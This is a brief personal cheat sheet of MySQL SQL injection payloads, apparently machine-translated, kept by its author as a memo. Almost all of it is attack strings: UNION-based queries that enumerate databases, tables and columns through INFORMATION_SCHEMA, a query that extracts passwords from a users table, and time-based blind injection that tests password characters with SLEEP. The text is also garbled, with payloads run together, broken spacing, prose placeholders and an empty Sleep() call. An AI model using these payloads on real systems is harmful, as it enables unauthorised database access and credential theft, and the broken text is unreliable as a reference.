Recently in the injection of MySQL to record their own, leave a memorial, later forget to look.
Query table
' and 1=2 Union select 1,schema_name from INFORMATION_SCHEMA. Schemata limit 0,1--' and 1=2 Union SELECT 1,GROUP_CONCAT (table_name) from Information_schema.tables where table_schema=0 x64767761--query field and 1=2 Union select 1,2,3,4,column_name,5,6,7 from Information_schema.columns where table_name= The hexadecimal encoding of the table name and the 16 encoding of the Table_schema= database limit 1,1--and 1=2 Union select 1,2,3,4,group_concat (column_name), 5,6,7 from infor Mation_schema.columns the hexadecimal encoding of the where Table_name= table name and table_schema= 16 encoding of the database--query data ' and 1=2 Union select 1,concat ( Password) from the users limit 0,1--time-based blind Select user from Tbl_user where user= ' aaa ' +0 and if ((select 1 from Tbl_user where User= "admin" and password= ' 1234567 '), Sleep (5), 1); a ' +0 UNION SELECT IF (ASCII (SUBSTRING (password, 1, 1)) =50, Sleep ( ), NULL) from admin WHERE username = ' admin '--
MySQL injects "original"